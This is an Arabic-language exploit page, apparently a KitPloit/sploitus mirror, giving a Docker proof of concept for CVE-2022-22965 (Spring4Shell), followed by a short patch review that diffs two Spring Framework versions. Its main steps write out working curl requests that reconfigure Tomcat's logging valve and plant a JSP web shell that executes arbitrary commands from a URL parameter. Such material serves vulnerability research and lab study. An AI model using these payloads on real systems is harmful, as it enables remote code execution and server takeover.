## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ITSECURITYCO-CVE-2022-22965
# سبرينغ بوت CVE-2022-22965
Docker PoC لـ CVE-2022-22965 مع سبرينغ بوت الإصدار 2.6.5

## 🚀 البدء
1. قم بتنزيل الكود الموزع من https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip وقم بفك ضغطه.
2. قم بتشغيل `docker compose up --build` لبناء وتشغيل التطبيق المعرض للخطر.
3. قم بتشغيل `curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="` لتغييرات صمام تكوين Tomcat.
4. قم بتشغيل `curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"` لإنشاء الويب شيل.
5. افتح متصفحك واذهب إلى http://localhost:8080/shell.jsp?1337=id لبدء تنفيذ الأوامر.
* * *
## 🔎 مراجعة التصحيح
يمكن تنزيل الكود المصدري لـ Spring Framework 5.3.17 (المعرض للخطر) و Spring Framework 5.3.18 (المصحح) على التوالي من:
* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
تم العثور على الثغرة في ملف `/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java` في السطر `290` حيث يتم تطبيق التحقق من صحة طرق `Class.getClassLoader()` و `getProtectionDomain()` ولكن ليس لأنواع `ClassLoader`, `ProtectionDomain` وأسماء `PropertyDescriptors`.
يمكن الحصول على الفرق بين الكود المعرض للخطر والكود المصحح باستخدام الأمر diff.
root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

* * *
## الإسناد
* البحث الأصلي: @p1n93r
* شكر: @fmunoz